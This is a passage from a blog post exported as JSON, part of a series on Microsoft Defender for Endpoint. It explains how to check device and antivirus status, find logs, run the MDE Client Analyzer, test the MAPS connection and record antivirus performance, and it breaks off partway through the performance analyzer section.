{"id":5970,"date":"2023-01-03T21:51:44","date_gmt":"2023-01-03T19:51:44","guid":{"rendered":"https:\/\/jeffreyappel.nl\/?p=5970"},"modified":"2024-01-03T18:28:05","modified_gmt":"2024-01-03T16:28:05","slug":"microsoft-defender-for-endpoint-series-validate-defender-protection-and-additional-troubleshooting-part6","status":"publish","type":"post","link":"https:\/\/jeffreyappel.nl\/microsoft-defender-for-endpoint-series-validate-defender-protection-and-additional-troubleshooting-part6\/","title":{"rendered":"Microsoft Defender for Endpoint series \u2013 Validate Defender protection and additional troubleshooting \u2013 Part6"},"content":{"rendered":"\n<p>It is time for part 6 of the Microsoft Defender for Endpoint (MDE) series. All previous parts were focused on onboarding and configuration and Microsoft Defender Vulnerability Management. Now it is time for the initial testing of the Defender for Endpoint component and check of all protection components are working correctly with some troubleshooting explanation.  <\/p>\n\n\n\n<p>After onboarding and configuration, it is critical to validate all key features and protection states. Microsoft provides some test scripts, all there are some other ways of testing the protection capabilities. <\/p>\n\n\n\n<p>NOTE: The blog series focuses on features in&nbsp;<strong>Microsoft Defender for Endpoint P2<\/strong>&nbsp;all&nbsp;<strong>Microsoft Defender for Endpoint P1<\/strong>&nbsp;features are available in P2.<\/p>\n\n\n\n<p><strong>Specific question or content idea part of Defender for Endpoint? Use the&nbsp;<a href=\"https:\/\/jeffreyappel.nl\/contact-form-content-request\/\">contact submission<\/a>&nbsp;form and share the post ideas.<\/strong><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Introduction<\/h2>\n\n\n\n<p>After the initial onboarding of Defender for Endpoint and configuration of Defender AV\/ NGP, it is important to make sure all Defender protections are in a good state and doing the job. Based on experience it is recommended to provide a good test plan for different types of computers and networks and confirm the state during the roll-out. In this part of the MDE series the Defender protection test capabilities will be explained. Part 6 contains more in-depth troubleshooting based on Defender AV and Defender for Endpoint. <\/p>\n\n\n\n<p>The following is part of the blog:<\/p>\n\n\n\n<ul>\n<li>Check the device state<\/li>\n\n\n\n<li>Check configuration state<\/li>\n\n\n\n<li>Check data collection (Timeline\/ full device sync) <\/li>\n\n\n\n<li>Test core protection features (Tamper Protection)<\/li>\n\n\n\n<li>Test Defender Antivirus\/ NGP protection<\/li>\n\n\n\n<li>Test Defender for Endpoint protection<\/li>\n\n\n\n<li>Test Network Protection protection<\/li>\n\n\n\n<li>Test C2 detection\/ protection<\/li>\n\n\n\n<li>Test additional EDR capabilities<\/li>\n\n\n\n<li>Troubleshooting<\/li>\n<\/ul>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-wide\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">Check the device state<\/h2>\n\n\n\n<p>First, it is recommended to test and validate the AV state of the device. After configuring Defender for Endpoint and the additional protections it is critical to confirm and validate the state. There are multiple options available for checking the Defender state on the device. <\/p>\n\n\n\n<p>The simplest way is with the use of the <strong>Get-MpComputerStatus<\/strong> and <strong>Get-MpPreference<\/strong> commands. <\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img fetchpriority=\"high\" decoding=\"async\" width=\"1024\" height=\"553\" src=\"https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/image-1024x553.png\" alt=\"\" class=\"wp-image-5980\" srcset=\"https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/image-1024x553.png 1024w, https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/image-300x162.png 300w, https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/image-768x414.png 768w, https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/image-585x316.png 585w, https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/image.png 1312w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p><strong>Get-MpComputerStatus <\/strong>gets the antimalware status of Defender AV. Use the command for validating the running mode. Check the following items:  <\/p>\n\n\n\n<ul>\n<li>AMRunningMode: Must be in normal mode for active Defender protection<\/li>\n\n\n\n<li>AMProductVersion: Must be one of the latest released versions<\/li>\n\n\n\n<li>AMServiceEnabled: Must be True<\/li>\n\n\n\n<li>AntiSpywareEnabled: Must be True<\/li>\n\n\n\n<li>BehaviorMonitorEnabled: Must be True<\/li>\n\n\n\n<li>RealTimeProtectionEnabled: Must be True<\/li>\n\n\n\n<li>IoavProtectionEnabled: Must be True<\/li>\n<\/ul>\n\n\n\n<p>For the signature updates check the <strong>AntispywareSignatureAge<\/strong> and <strong>AntivirusSignatureAge<\/strong>. Ideally, the signature must be updated multiple times a day. The <strong>AntiVirusSignatureLastUpdated<\/strong> shows the latest update time for the signature. With the <strong>AntivirusSignatureVersion<\/strong> it is possible to check the actual installed version and compare it with the latest released signature information. <\/p>\n\n\n\n<p>For Tamper Protection important to check the <strong>isTamperProtected <\/strong>field and <strong>TamperProtectionSource<\/strong>. When enabled via the service settings the <strong>TamperProtectionSource<\/strong> contains ATP. <strong>IsTamperProtected<\/strong> must be showing True. True means: the device is protected with Tamper Protection. <\/p>\n\n\n\n<p>With the use of Defender Vulnerability Management, it is possible to check the protection configuration based on the available SCID entries. See <a href=\"https:\/\/jeffreyappel.nl\/microsoft-defender-for-endpoint-series-defender-vulnerability-management-part5\/\">Part 5<\/a> for more in-depth information and example queries for each core component. <\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-wide\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">Check the configuration state<\/h2>\n\n\n\n<p>One of the most common questions is; can we see which configuration is applied on the machine? The answer is yes; it is possible to see which value is configured for each setting. With the use of the <strong>Get-MpPreference<\/strong> command we can show all configured settings: <\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img decoding=\"async\" width=\"1024\" height=\"484\" src=\"https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/image-1-1024x484.png\" alt=\"\" class=\"wp-image-5981\" srcset=\"https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/image-1-1024x484.png 1024w, https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/image-1-300x142.png 300w, https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/image-1-768x363.png 768w, https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/image-1-585x277.png 585w, https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/image-1.png 1309w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>Use the Set-MpPreference reference page for the value explanation. <a href=\"https:\/\/learn.microsoft.com\/en-us\/powershell\/module\/defender\/set-mppreference?view=windowsserver2019-ps\">Set-MpPreference (Defender) | Microsoft Learn<\/a><\/p>\n\n\n\n<p>Important for the protection state to check the following items: <\/p>\n\n\n\n<p><strong>Network Protection for servers<\/strong><\/p>\n\n\n\n<ul>\n<li>AllowDatagramProcessingOnWinServer: True<\/li>\n\n\n\n<li>AllowNetworkProtectionDownLevel: True<\/li>\n\n\n\n<li>AllowNetworkProtectionOnWinServer: True<\/li>\n<\/ul>\n\n\n\n<p><strong>Protection<\/strong><\/p>\n\n\n\n<ul>\n<li>CloudBlockLevel: 2(high) or 4(High+)<\/li>\n\n\n\n<li>CloudExtendedTimeout: 50<\/li>\n\n\n\n<li>DisableBehaviorMonitoring: False<\/li>\n\n\n\n<li>DisableRealtimeMonitoring: False<\/li>\n\n\n\n<li>EnableNetworkProtection: True<\/li>\n\n\n\n<li>PuaProtection: 1 (Block) or 2 (Audit)<\/li>\n<\/ul>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-wide\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">Check Defender for Endpoint<\/h2>\n\n\n\n<p>After checking the Defender AV configuration, it is needed to validate and confirm the onboarding of Defender for Endpoint. <\/p>\n\n\n\n<p>When the device is correctly onboarded in Defender for Endpoint the device is visible with the state <strong>Onboarded. <\/strong>There are different states which can give some confusion:<\/p>\n\n\n\n<ul>\n<li>Onboarded: Device correctly onboarded in Defender for Endpoint<\/li>\n\n\n\n<li>Can be onboarded: Device discovered by other devices; device itself is not onboarded<\/li>\n\n\n\n<li>Unsupported: Device discovered all not supported for Defender for Endpoint<\/li>\n\n\n\n<li>Insufficient info: Not enough information collected; standard discovery collects more information from the device and enriches the attributes. Recommended is to use the standard discovery method. <\/li>\n<\/ul>\n\n\n\n<p>After onboarding make sure the full data sync is initiated. Sometimes the device is visible in MDE with the state <strong>Onboarded <\/strong>without the additional dataset in MDE. The dataset can be confirmed with the following items:<\/p>\n\n\n\n<ul>\n<li>Use KQL on the DeviceInfo table<\/li>\n\n\n\n<li>Check TVM assessment (part of Full Sync)<\/li>\n\n\n\n<li>Check OS information details (OSversion, Domain information) <\/li>\n<\/ul>\n\n\n\n<p>For the first onboarded devices it is recommended to test the device actions (isolate, restrict, live response) to make sure all features are working correctly. <\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img decoding=\"async\" width=\"1024\" height=\"530\" src=\"https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/image-2-1024x530.png\" alt=\"\" class=\"wp-image-5982\" srcset=\"https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/image-2-1024x530.png 1024w, https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/image-2-300x155.png 300w, https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/image-2-768x398.png 768w, https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/image-2-1536x795.png 1536w, https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/image-2-2048x1060.png 2048w, https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/image-2-585x303.png 585w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p><strong>KQL for checking the events:<\/strong><\/p>\n\n\n\n<p>Use the button <strong>Go Hunt<\/strong> and run the query against all available tables. Check of additional events are available for the device: <\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>let deviceName = \"cpc-jeffrey6-0a\";\nlet deviceId = \"af21d57a4686a0f6d684be606c4beb05ab871a\";\nsearch in (IdentityLogonEvents,IdentityQueryEvents,IdentityDirectoryEvents,DeviceProcessEvents,DeviceNetworkEvents,DeviceFileEvents,DeviceRegistryEvents,DeviceLogonEvents,DeviceImageLoadEvents,DeviceEvents)\nTimestamp between (ago(1d) .. now())\nand (DeviceName == deviceName)\n| take 100<\/code><\/pre>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-wide\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">Additional troubleshooting with event logs and log locations<\/h2>\n\n\n\n<p>Sometimes the devices will not be onboarded for various reasons (onboarding, hardware conflict, network). With the use of additional logging the issues can be tracked\/ investigated. The following log locations\/ event locations are available: <\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Sense Agent related logs (MDE)<\/strong><\/h3>\n\n\n\n<p>These log locations apply to systems onboarded with the unified solution for 2012R2\/ 2016 or on newer operating systems.<\/p>\n\n\n\n<p>The Sense Agent-related logs are based on the EDR component (SENSE) and used by the following operating systems:<\/p>\n\n\n\n<ul>\n<li>Unified Solution \u2013 Windows Server 2012 R2 and Windows Server 2016<\/li>\n\n\n\n<li><span style=\"color: initial;\">Windows 10\/11<\/span><\/li>\n\n\n\n<li>Windows Server 1803, 2019 and 2022<\/li>\n<\/ul>\n\n\n\n<p><strong>Log locations<\/strong><\/p>\n\n\n\n<ul>\n<li>Onboarding: <em>Event Viewer \u2013 Windows Logs &gt; Application<\/em> event source <em>WDATPOnboarding<\/em><\/li>\n\n\n\n<li>Sense agent operational: <em>Event Viewer &#8211; Applications and Services Logs &gt; Microsoft -&gt; Windows &gt; SENSE &gt; Operational<\/em><\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">Defender AV-related logs (MDAV)<\/h3>\n\n\n\n<p>Log and configuration validation of Microsoft Defender AV can be done by reviewing the following locations:<\/p>\n\n\n\n<p>Some example scenarios that can be investigated by looking into these locations are:<\/p>\n\n\n\n<ul>\n<li>Defender AV configuration not applying<\/li>\n\n\n\n<li>Defender AV signature status<\/li>\n\n\n\n<li>Defender AV scanning, detection and configuration changes<\/li>\n<\/ul>\n\n\n\n<p><strong>Log locations<\/strong><\/p>\n\n\n\n<p>Defender AV operational: <em>Event Viewer &#8211; Applications and Services Logs &gt; Microsoft -&gt; Windows &gt; Windows Defender<\/em><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Additional log locations<\/h3>\n\n\n\n<p>Direct logs are directly available on the system without collecting additional logs. The following overview gives the most common log files and locations for Defender Antivirus and Defender for Endpoint. <\/p>\n\n\n\n<p><strong>Defender Antivirus log files:<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>C:\\ProgramData\\Microsoft\\Windows Defender\\Support<\/code><\/pre>\n\n\n\n<p>Additional verbose logging can be collected with other diagnostic data collection. Use the following command for getting all additional data in a cab file:  <\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>C:\\Program Files\\Windows Defender\\MpCmdRun.exe\" -GetFiles<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"420\" src=\"https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/image-4-1024x420.png\" alt=\"\" class=\"wp-image-5986\" srcset=\"https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/image-4-1024x420.png 1024w, https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/image-4-300x123.png 300w, https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/image-4-768x315.png 768w, https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/image-4-585x240.png 585w, https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/image-4.png 1291w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>Cab file is by default located in the following folder: C:\\ProgramData\\Microsoft\\Windows Defender\\Support\\MpSupportFiles.cab<\/p>\n\n\n\n<p>Some examples of files part of the mpsupportfiles.cab which can be useful for further troubleshooting:<\/p>\n\n\n\n<ul>\n<li>MPRegistry: Contains Defender-related registry output <\/li>\n\n\n\n<li>MPLog-xxx: Operation Defender log<\/li>\n\n\n\n<li>MPOperationalEvents: Eventviewer log entries output of the event logs<\/li>\n\n\n\n<li>MPCmdRun.log: Microsoft Antimalware service command line&nbsp;<\/li>\n\n\n\n<li>MPCmdRun-NetworkService: Microsoft Antimalware service command line&nbsp;<\/li>\n\n\n\n<li>MpCmdRun-SystemTemp: Microsoft Antimalware service command line&nbsp;<\/li>\n<\/ul>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-wide\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">Collecting additional data<\/h2>\n\n\n\n<p>A more in-depth investigation is possible with the collection of additional log files for the Defender for Endpoint product. With the use of the Microsoft Defender for Endpoint Client Analyzer tool there is the option to analyze the system and review the configuration. <\/p>\n\n\n\n<p>The download MDEClientAnalyzer.zip can be unzipped. When unzipped the MDEClientAnalyzer folder exists of several files. <\/p>\n\n\n\n<p>From the MDEClientAnalyzer folder, we can run the <strong><em>MDEClientAnalyzer.cmd <\/em><\/strong>script. One of the options is to run this script without additional parameters. Without parameters the analyzer provides generic log output including a connectivity test, related logs, and related event files. <\/p>\n\n\n\n<p>It can take some time when the MDEClientAnalyzer.cmd is completed. When completed there is an <em>MDEClientAnalyzerResult<\/em> folder created including all files and additional configuration. The MDEClientAnalyzer.html file contains the overview page including detailed results and possible errors. <\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"554\" src=\"https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/image-13-1024x554.png\" alt=\"\" class=\"wp-image-6000\" srcset=\"https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/image-13-1024x554.png 1024w, https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/image-13-300x162.png 300w, https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/image-13-768x415.png 768w, https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/image-13-1536x830.png 1536w, https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/image-13-2048x1107.png 2048w, https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/image-13-585x316.png 585w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"436\" src=\"https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/image-14-1024x436.png\" alt=\"\" class=\"wp-image-6001\" srcset=\"https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/image-14-1024x436.png 1024w, https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/image-14-300x128.png 300w, https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/image-14-768x327.png 768w, https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/image-14-1536x655.png 1536w, https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/image-14-2048x873.png 2048w, https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/image-14-585x249.png 585w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table><tbody><tr><td>Tip: Use the beta version of the MDEClientAnalyzer. Both versions can be downloaded via the following links:<br><br><a href=\"https:\/\/aka.ms\/MDEAnalyzer\">https:\/\/aka.ms\/MDEAnalyzer<\/a><br><a href=\"https:\/\/aka.ms\/BetaMDEAnalyzer\">https:\/\/aka.ms\/BetaMDEAnalyzer<\/a><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Network connection<\/h3>\n\n\n\n<p>In situations where Defender for Endpoint is not collecting the full data set; it is most of the time related to the availability of the MDE network URLs. MDE requires multiple URLs to get the service fully working. With the use of the Client Analyzer the URLs can be validated: <\/p>\n\n\n\n<ul>\n<li>Run the MDEClientAnalyzer<\/li>\n\n\n\n<li>Open the MDEClientAnalyzerResult folder<\/li>\n\n\n\n<li>Open SystemInfoLogs -&gt; MDEClientAnalyzer.txt<\/li>\n<\/ul>\n\n\n\n<p>Check the connection option for the returning status 200 and 400 for all blob URLs. Check all URLs including the URLs under <strong>Defender for Endpoint cloud service check<\/strong>\/ <strong>Defender AntiVirus cloud service check<\/strong> and <strong>Connectivity Check for ctldl.windowsupdate.com<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"349\" src=\"https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/image-10-1024x349.png\" alt=\"\" class=\"wp-image-5993\" srcset=\"https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/image-10-1024x349.png 1024w, https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/image-10-300x102.png 300w, https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/image-10-768x262.png 768w, https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/image-10-1536x524.png 1536w, https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/image-10-585x200.png 585w, https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/image-10.png 2002w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"264\" src=\"https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/2022-06-28_20-10-08-1024x264.png\" alt=\"\" class=\"wp-image-5994\" srcset=\"https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/2022-06-28_20-10-08-1024x264.png 1024w, https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/2022-06-28_20-10-08-300x77.png 300w, https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/2022-06-28_20-10-08-768x198.png 768w, https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/2022-06-28_20-10-08-1536x396.png 1536w, https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/2022-06-28_20-10-08-2048x528.png 2048w, https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/2022-06-28_20-10-08-585x151.png 585w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p><strong>Network reference<\/strong><\/p>\n\n\n\n<p>When there are network issues; always validate the full URL sheet with all needed URLs for Defender for Endpoint and Defender AV. <\/p>\n\n\n\n<p><a href=\"https:\/\/download.microsoft.com\/download\/6\/b\/f\/6bfff670-47c3-4e45-b01b-64a2610eaefa\/mde-urls-commercial.xlsx\">Download the spreadsheet (Commercial)<\/a><\/p>\n\n\n\n<p>During my MDE implementation for customers, network issues are usually related to SSL inspection. When SSL inspection is enabled, make sure the domain listed in the spreadsheet are excluded from SSL inspection. <\/p>\n\n\n\n<p>All URLs are needed for the geography column WW and the specific data location where the specific MDE tenant is located. <\/p>\n\n\n\n<p><strong>MAPS connection<\/strong><\/p>\n\n\n\n<p>Important is to always test and verify the Cloud Protection\/ BAFS feature. Use the following command for testing the MAPS connection:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u201cC:\\Program Files\\Windows Defender\\MpCmdRun.exe\u201d&nbsp; -ValidateMapsConnection<\/code><\/pre>\n\n\n\n<p>When the MAPS connection succeeded the result must be: <em>ValidateMapsConnection successfully established a connection to MAPS<\/em><\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"257\" src=\"https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/image-11-1024x257.png\" alt=\"\" class=\"wp-image-5995\" srcset=\"https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/image-11-1024x257.png 1024w, https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/image-11-300x75.png 300w, https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/image-11-768x192.png 768w, https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/image-11-585x147.png 585w, https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/image-11.png 1153w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Additional parameters for MDEClientAnalyzer<\/h3>\n\n\n\n<p>For specific situations, the MDEClientAnalyzer can be launched with additional parameters. The following parameters are available:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"443\" src=\"https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/image-3-1024x443.png\" alt=\"\" class=\"wp-image-5985\" srcset=\"https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/image-3-1024x443.png 1024w, https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/image-3-300x130.png 300w, https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/image-3-768x333.png 768w, https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/image-3-1536x665.png 1536w, https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/image-3-585x253.png 585w, https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/image-3.png 1891w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>More information for each parameter: <a href=\"https:\/\/learn.microsoft.com\/en-us\/microsoft-365\/security\/defender-endpoint\/data-collection-analyzer?view=o365-worldwide\">Data collection for advanced troubleshooting on Windows | Microsoft Learn<\/a> some more specific situations where the additional parameters can be used: <\/p>\n\n\n\n<p><strong>Generic performance issues that can be reproduced<\/strong><\/p>\n\n\n\n<p>If you experience a performance issue that can be reproduced by, for example, triggering an action. The -h parameter can be used. This generates a Windows Performance trace .etl file which can be opened in the Windows Performance Analyzer tool for analysis.<\/p>\n\n\n\n<ul>\n<li>To collect these logs run: <strong><em>MDEClientAnalyzer.cmd -h [number of minutes to collect]<\/em><\/strong><\/li>\n<\/ul>\n\n\n\n<p><strong>Performance degradation in time<\/strong><\/p>\n\n\n\n<p>If you experience performance issues over a longer period and or slowly increase the -l parameter can be used. This generates a Windows Performance trace .etl file which can be opened in the Windows Performance Analyzer tool for analysis.<\/p>\n\n\n\n<ul>\n<li>To collect this log\/data collection run: <strong><em>MDEClientAnalyzer.cmd -l [number of minutes to collect]<\/em><\/strong><\/li>\n<\/ul>\n\n\n\n<p><strong>Application compatibility issues<\/strong><\/p>\n\n\n\n<p>If you experience application compatibility issues with Sense agent (EDR) or Defender AV component, for example application crashes after onboarding MDE. The -c parameter can be used. This collection uses Process Monitor tool to collect real-time file system, registry, and process\/thread activities. This should provide information on activities happening on the operating system during the collection. The collection should happen when reproducing the issues.<\/p>\n\n\n\n<ul>\n<li>To initiate the log\/data collection run: <strong><em>MDEClientAnalyzer.cmd -c [number of minutes to collect]<\/em><\/strong><\/li>\n<\/ul>\n\n\n\n<p><strong>Performance issues Defender Antivirus<\/strong><\/p>\n\n\n\n<p>If you experience performance issues with the Microsoft Defender AV component or to be more specific the msmpeng.exe process on Windows. For example, CPU\/performance impact during Defender AV scanning or Defender AV activities. The -a parameter can be used. This generates a Windows Performance trace .etl file to analyze high CPU issues related to the antivirus process (MsMpEng.exe).<\/p>\n\n\n\n<ul>\n<li>To initiate the log\/data collection run: <strong><em>MDEClientAnalyzer.cmd -c [number of minutes to collect]<\/em><\/strong><\/li>\n<\/ul>\n\n\n\n<p><strong>Generic Defender Antivirus issues and log collection<\/strong><\/p>\n\n\n\n<p>If you experience generic issues with Defender Antivirus components, for example engine updates are not applying or Defender Antivirus has issues with the detection of certain scenarios. The -v parameter can be used. This generates verbose logging of Defender AV which is useful for all kinds of Defender AV-related troubleshooting activities. &nbsp;<\/p>\n\n\n\n<ul>\n<li>To initiate the log\/data collection run: <strong><em>MDEClientAnalyzer.cmd -v [number of minutes to collect]<\/em><\/strong><\/li>\n<\/ul>\n\n\n\n<p><strong>Crash, freeze, hang stability issues<\/strong><\/p>\n\n\n\n<p>If you experience issues related to crashes, generic memory issues or server hang a memory dump needs to be created. As crashes and server hangs normally do not generate log entries, we rely on a memory dump.<\/p>\n\n\n\n<p>The parameter -K -Z are available for creating a full memory or forcing a system crash. Ideally use other ways for getting the memory dump. Use the WinDBG toolkit for further debugging of the system. <\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-wide\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">Performance analyzer (Checking Defender CPU\/ Memory issues)<\/h2>\n\n\n\n<p>One of the most common troubleshooting situations is during performance issues during antivirus scans\/ and antivirus protections. Use the Microsoft Defender Antivirus Performance Analyzer to understand which files, file extension, or processes might be causing performance issues on Endpoints during the Antivirus activity. <\/p>\n\n\n\n<p>Performance issues start most of the time with a CPU spike for the Antimalware service executable (Defender Antivirus). The above log locations and additional parameters can help during the investigation; all is the Microsoft Defender Antivirus Performance Analyzer more friendly to view. <\/p>\n\n\n\n<p>The Microsoft Defender Antivirus performance analyzer is a PowerShell command-line tool that can be used for Windows 10, Windows 11, and Windows Server. With the use of the PowerShell tool all related information will be collected and visible. Some of the options: <\/p>\n\n\n\n<ul>\n<li>Top paths that impact scan time<\/li>\n\n\n\n<li>Top processes that impact scan time<\/li>\n\n\n\n<li>Top file extensions that impact scan time<\/li>\n\n\n\n<li>Top files per extension<\/li>\n\n\n\n<li>Top files per extension<\/li>\n\n\n\n<li>Top paths per extension<\/li>\n\n\n\n<li>&#8230;<\/li>\n<\/ul>\n\n\n\n<p><strong>Start the recording<\/strong><\/p>\n\n\n\n<p>To start a recording of the Performance Analyzer we need to open PowerShell in administrative mode and launch the following command: <\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>New-MpPerformanceRecording -RecordTo C:\\Temp\\MDAV_Performance_Analyzer\\recording.etl<\/code><\/pre>\n\n\n\n<p>After launching above PowerShell command the recording starts directly. Press <strong>Enter <\/strong>to stop and save the recording in the configured location. With Ctrl+C it is possible to cancel the recording. During the recording &#8211; reproduce the issue. <\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"246\" src=\"https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/image-5-1024x246.png\" alt=\"\" class=\"wp-image-5987\" srcset=\"https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/image-5-1024x246.png 1024w, https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/image-5-300x72.png 300w, https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/image-5-768x185.png 768w, https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/image-5-585x141.png 585w, https:\/\/jeffreyappel.nl\/wp-content\/uploads\/2023\/01\/image-5.png 1336w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>When stopped with <strong>Enter <\/strong>the file is saved to the configured location: <\/p>\n\n\n\n<figure 